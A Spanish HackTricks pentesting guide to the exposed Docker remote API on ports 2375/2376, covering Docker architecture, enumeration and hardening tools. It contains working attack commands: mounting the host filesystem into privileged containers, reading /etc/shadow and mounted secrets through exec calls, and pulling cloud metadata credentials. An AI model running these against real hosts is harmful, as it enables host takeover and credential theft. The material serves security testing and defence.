## 2375, 2376 Pentesting Docker
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
## Conceptos básicos de Docker
### ¿Qué es?
La plataforma Docker es la plataforma de contenedores líder en la industria para la innovación continua y de alta velocidad, lo que permite a las organizaciones construir y compartir sin problemas cualquier aplicación, desde las heredadas hasta las que vienen a continuación, y ejecutarlas de forma segura en cualquier lugar.
### Arquitectura básica de Docker
Esta información se encuentra [aquí](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc).
* [containerd](http://containerd.io) es un tiempo de ejecución de contenedores que puede **administrar todo el ciclo de vida de un contenedor, desde la transferencia/almacenamiento de imágenes hasta la ejecución, supervisión y redes de contenedores**. **Más información sobre containerd a continuación.**
* container-shim maneja contenedores sin cabeza, lo que significa que una vez que runc inicializa los contenedores, sale entregando los contenedores al container-shim que actúa como intermediario.
* [runc](http://runc.io) es un tiempo de ejecución de contenedores universal y ligero, que cumple con la especificación OCI. **runc es utilizado por containerd para generar y ejecutar contenedores según la especificación OCI**. También es el empaquetado de libcontainer.
* [grpc](http://www.grpc.io) se utiliza para la comunicación entre containerd y docker-engine.
* [OCI](https://www.opencontainers.org) mantiene la especificación OCI para tiempo de ejecución e imágenes. Las versiones actuales de Docker admiten las especificaciones de imagen y tiempo de ejecución de OCI.
![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
### Comandos básicos
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect #Get info of the contaienr
docker network ls #List network info
docker exec -it /bin/sh #Get shell inside a container
docker commit registry:5000/name-container #Update container
docker export -o alpine.tar #Export container as tar file
docker save -o ubuntu.tar #Export an image
docker ps -a #List running and stopped containers
docker stop #Stop running container
docker rm #Remove container ID
docker image ls #List images
docker rmi #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
### Containerd
Containerd fue diseñado para ser utilizado por Docker y Kubernetes, así como cualquier otra plataforma de contenedores que quiera **abstraer las llamadas al sistema o la funcionalidad específica del sistema operativo para ejecutar contenedores** en Linux, Windows, Solaris u otros sistemas operativos. Con estos usuarios en mente, queríamos asegurarnos de que containerd tenga solo lo que necesitan y nada que no necesiten. Realísticamente esto es imposible, pero al menos eso es lo que intentamos. Cosas como **la red están fuera del alcance de containerd**. La razón de esto es que, cuando se está construyendo un sistema distribuido, la red es un aspecto muy central. Con SDN y el descubrimiento de servicios hoy en día, la red es mucho más específica de la plataforma que abstraer las llamadas netlink en Linux.
Tenga en cuenta que **Docker utiliza Containerd, pero solo proporciona un subconjunto de las características que Docker proporciona**. Por lo tanto, ContainerD no tiene las características de gestión de red de Docker, ni se puede utilizar ContainerD solo para crear enjambres de Docker.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info #Get container info
ctr task start #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach #Get shell in running container
ctr task pause #Stop container
ctr tasks resume #Resume cotainer
ctr task kill -s SIGKILL #Stop running container
ctr container delete
```
### Podman
**Información** [**de aquí**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
Podman es un motor de contenedores de código abierto compatible con OCI ([Open Container Initiative](https://github.com/opencontainers)). Es impulsado por Red Hat e incorpora algunas diferencias importantes con Docker, como su arquitectura sin daemon y el soporte para contenedores sin root. En su núcleo, **ambas herramientas hacen lo mismo: gestionar imágenes y contenedores**. Uno de **los objetivos de Podman es tener una API compatible con Docker**. Por lo tanto, casi todos los comandos de la CLI (interfaz de línea de comandos) de Docker también están disponibles en Podman.
Puede encontrar otras dos herramientas en el ecosistema de Podman: Buildah y Skopeo. Buildah es una herramienta de CLI utilizada para construir imágenes de contenedores, y Skopeo es una herramienta de CLI para ejecutar operaciones en imágenes, como push, pull o inspect. [Por favor, consulte GitHub](https://github.com/containers/buildah/tree/master/docs/containertools) para obtener más información sobre estas herramientas y su relación con Podman.
**Las principales diferencias**
**La mayor diferencia entre Docker y Podman es su arquitectura**. **Docker** se ejecuta en una arquitectura **cliente-servidor**, mientras que **Podman** se ejecuta en una arquitectura **sin daemon**. Pero, ¿qué significa eso? Al trabajar con **Docker**, debe usar la CLI de Docker, que se comunica con un **daemon en segundo plano** (el daemon de Docker). La lógica principal reside en el daemon, que construye imágenes y ejecuta contenedores. Este **daemon se ejecuta con privilegios de root**. La arquitectura de **Podman**, por el contrario, le permite **ejecutar los contenedores bajo el usuario que está iniciando el contenedor** (fork/exec), y este usuario no necesita ningún privilegio de root. Debido a que **Podman tiene una arquitectura sin daemon, cada usuario que ejecuta Podman solo puede ver y modificar sus propios contenedores**. No hay un daemon común con el que la herramienta CLI se comunique.
Dado que Podman no tiene un daemon, necesita una forma de admitir la ejecución de contenedores en segundo plano. Por lo tanto, proporciona una integración con **systemd**, que permite controlar los contenedores a través de unidades de systemd. Dependiendo de la versión de Podman, puede generar estas unidades para contenedores existentes o generar unidades que puedan crear contenedores si no existen en el sistema. Hay otro modelo de integración con systemd, que permite que systemd se ejecute dentro de un contenedor. Por defecto, Docker utiliza systemd para controlar el proceso del daemon.
La segunda diferencia importante se refiere a cómo se ejecutan los contenedores. Con **Podman**, **los contenedores se ejecutan con los privilegios del usuario y no con los del daemon**. En este punto, entra en juego el concepto de contenedores sin root, lo que significa que el contenedor se puede iniciar sin privilegios de root. Los contenedores sin root tienen una gran ventaja sobre los contenedores con root ya que (lo adivinó) no se ejecutan bajo la cuenta de root. El beneficio de esto es que si un atacante es capaz de capturar y escapar de un contenedor, este atacante sigue siendo un usuario normal en el host. Los contenedores que son iniciados por un usuario no pueden tener más privilegios o capacidades que el propio usuario. Esto agrega una capa de protección natural.
{% hint style="info" %}
Tenga en cuenta que como Podman tiene como objetivo admitir la misma API que Docker, puede usar los mismos comandos con Podman que con Docker, como:
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}
## Información básica
El API remoto se ejecuta por defecto en el puerto 2375 cuando está habilitado. El servicio por defecto no requerirá autenticación, lo que permite a un atacante iniciar un contenedor de docker privilegiado. Al utilizar el API remoto, se pueden adjuntar hosts / (directorio raíz) al contenedor y leer/escribir archivos del entorno del host.
**Puerto por defecto:** 2375
```
PORT STATE SERVICE
2375/tcp open docker
```
## Enumeración
### Manual
Tenga en cuenta que para enumerar la API de Docker, puede utilizar el comando `docker` o `curl` como en el siguiente ejemplo:
```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
```
Si puedes **contactar la API remota de Docker con el comando `docker`**, puedes **ejecutar** cualquiera de los [**comandos de Docker previamente comentados**](2375-pentesting-docker.md#basic-commands) para interactuar con el servicio.
{% hint style="info" %}
Puedes `exportar DOCKER_HOST="tcp://localhost:2375"` y **evitar** usar el parámetro `-H` con el comando docker.
{% endhint %}
#### Escalada rápida de privilegios
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
#### Curl
En ocasiones, verás que el puerto **2376** está disponible para el punto final **TLS**. No he podido conectarme a él con el cliente de Docker, pero puedes hacerlo sin problemas con curl para acceder a la API de Docker.
```bash
#List containers
curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl –insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s –insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl –insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, it’s also worth checking out services in case they are adding secrets via environment variables)
curl -s –insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl –insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
Si desea obtener más información sobre esto, puede encontrarla en el sitio web donde copié los comandos: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/)
### Automático
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p
```
## Comprometiendo
En la siguiente página puedes encontrar formas de **escapar de un contenedor de Docker**:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
Abusando de esto, es posible escapar de un contenedor, podrías ejecutar un contenedor débil en la máquina remota, escapar de él y comprometer la máquina:
```bash
docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
## Escalada de privilegios
Si estás dentro de un host que está utilizando Docker, puedes [**leer esta información para intentar elevar privilegios**](../linux-hardening/privilege-escalation/#writable-docker-socket).
## Descubriendo secretos en contenedores Docker en ejecución
```bash
docker ps [| grep ]
docker inspect
```
Revisa la sección **env** (variables de entorno) en busca de secretos y podrías encontrar:
* Contraseñas.
* IPs.
* Puertos.
* Rutas.
* Otros...
Si deseas extraer un archivo:
```bash
docker cp :/etc/
```
## Asegurando tu Docker
### Asegurando la instalación y uso de Docker
* Puedes usar la herramienta [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) para inspeccionar tu instalación actual de Docker.
* `./docker-bench-security.sh`
* Puedes usar la herramienta [https://github.com/kost/dockscan](https://github.com/kost/dockscan) para inspeccionar tu instalación actual de Docker.
* `dockscan -v unix:///var/run/docker.sock`
* Puedes usar la herramienta [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) para conocer los privilegios que tendrá un contenedor cuando se ejecute con diferentes opciones de seguridad. Esto es útil para conocer las implicaciones de usar algunas opciones de seguridad para ejecutar un contenedor:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
### Asegurando las imágenes de Docker
* Puedes usar una imagen de Docker de [https://github.com/quay/clair](https://github.com/quay/clair) para escanear tus otras imágenes de Docker y encontrar vulnerabilidades.
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
### Asegurando los Dockerfiles
* Puedes usar la herramienta [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas. A cada configuración incorrecta se le asignará un ID, puedes encontrar aquí [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md) cómo solucionar cada una de ellas.
* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (418).png>)
* Puedes usar la herramienta [https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas.
* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (419).png>)
* Puedes usar la herramienta [https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas.
* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (420).png>)
* Puedes usar la herramienta [https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint) para **inspeccionar tu Dockerfile** y encontrar todo tipo de configuraciones incorrectas.
* `hadolint Dockerfile`
![](<../.gitbook/assets/image (421).png>)
### Registrando actividad sospechosa
* Puedes usar la herramienta [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) para detectar **comportamientos sospechosos en contenedores en ejecución**.
* Observa en el siguiente fragmento cómo **Falco compila un módulo del kernel e lo inserta**. Después, carga las reglas y **comienza a registrar actividades sospechosas**. En este caso, ha detectado 2 contenedores privilegiados iniciados, 1 de ellos con un montaje sensible, y después de algunos segundos ha detectado cómo se abrió una shell dentro de uno de los contenedores.
```
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user= command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user= command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
### Monitoreo de Docker
Puede utilizar auditd para monitorear Docker.